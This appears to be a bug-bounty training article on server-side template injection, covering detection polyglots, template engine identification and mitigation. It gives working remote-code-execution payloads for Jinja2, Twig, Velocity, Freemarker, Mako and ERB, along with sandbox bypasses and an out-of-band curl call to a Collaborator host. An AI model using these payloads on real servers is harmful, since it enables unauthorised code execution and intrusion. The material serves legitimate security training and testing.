Advanced levelFree

SSTI — Server-Side Template Injection in Jinja2, Twig, Velocity and Freemarker

Detection with polyglots, engine identification, escalation to RCE in Jinja2/Python, Twig/PHP, Velocity/Java. Patterns where user input reaches templates.

Gorka El BochiMay 9, 202612 min

Quick answer

SSTI happens when user input ends up inside a template rendered server-side. Most engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) allow calling methods of the host language → fast escalation to RCE. Detect with the polyglot ${{<%[%'"}}%\ which breaks almost any engine. Identify with {{7*7}} and variants. Typical bounties: €2,000-€10,000 (RCE).


Typical vectors

Apps that generate emails/PDFs/dynamic responses from templates are usually candidates:

  • Email customization: "Welcome {{user.name}}" where user.name comes from the client.
  • Notification settings: subject template with placeholders.
  • Error messages: with interpolated variables (some frameworks).
  • Reporting builders: define a template, out comes a PDF.
  • Legal/contract documents generated with user data.
  • CMS where the editor inserts templates with variables.

Detection

Universal polyglot

bash
${{<%[%'"}}%\

This string breaks the syntax of almost every template engine. If the response changes (500 error, broken page) → possible SSTI.

Engine identification

Initial test: {{7*7}}.

OutputLikely engine
49Jinja2, Twig
7777777Twig (with string concat)
{{7*7}} (literal)No SSTI (the template isn't interpreted)
ErrorPossible different engine

Differentiator test Jinja2 vs Twig:

arduino
{{7*'7'}}
OutputEngine
7777777Jinja2
49 (numeric)Twig

For Java engines (Velocity, Freemarker):

bash
${7*7}

If it returns 49 → Velocity, Freemarker, or similar.

For ERB (Ruby): <%= 7*7 %>.


Escalation to RCE

Jinja2 (Python)

Jinja2 is the most common. Escape the sandbox via object chains:

python
{{ ''.__class__.__mro__[1].__subclasses__() }}

Returns a list of subclasses. Identify the index of subprocess.Popen or similar.

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}

Variants depending on the Python version and available subclasses. More recent:

python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig (PHP)

twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Or a more modern bypass:

twig
{{["id"]|filter("system")}}

Velocity (Java)

java
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

Freemarker (Java)

java
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

ERB (Ruby)

ruby
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>

SSTI sandbox bypasses

Modern engines have a sandbox that blocks __class__, __subclasses__, etc. Bypasses:

Jinja2 sandbox bypass

python
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

If request or config are in the context, they are a source of globals.

Restricted filters

If __class__ is blocked but attr isn't:

python
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}

Blind SSTI

If there's no visible output:

Time-based

python
{{ '7'*999999999 }}                  # huge string, observable lag
{{ 'x'*99 if 7*7 == 49 else 'y' }}   # conditional timing

OOB

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}

Burp Collaborator captures the hit.


Typical endpoints where you find it

  • Email customization in notification settings.
  • Broadcast email subjects.
  • PDF generators with customizable templates.
  • Error pages with variables (rarer but real).
  • Reporting with queries that produce formatted output.
  • CMS with editable widgets/plugins.
  • Newsletters with user-editable templates and preview.

Blind detection when you don't see output

python
# Jinja2
{{ '{}'.format(7*7) }}     # only returns 49 if it interpolates
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}

Time-based + OOB are your two friends when it's blind.


Hunting checklist

  • Are there endpoints where the client can write content that appears in emails, PDFs, reports?
  • Is there a template "preview"? Direct vector.
  • Try the polyglot ${{<%[%'"}}%\ and observe errors?
  • Does {{7*7}} return 49? → SSTI confirmed.
  • Does the engine allow access to globals/builtins? Try __class__.
  • If the sandbox blocks it, try variants with attr(), request.application, config?
  • Blind: time-based + OOB with Collaborator?

Correct mitigation

  1. Do NOT render templates with user input. Use {{ user_input }} as data, never {{ template_string }}.
  2. Sandboxed environment of the template engine when users do write templates (e.g., Jinja2 SandboxedEnvironment).
  3. Strict whitelist of allowed variables/functions (no __class__, __import__, etc.).
  4. Logical/visual templates (Liquid) that don't allow arbitrary Python/Ruby code.
  5. Input validation before passing to the template.

Practice detection, engine identification and SSTI escalation to RCE in Jinja2, Twig and Velocity: SSTI labs.

Practice this in a lab

Ssti

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy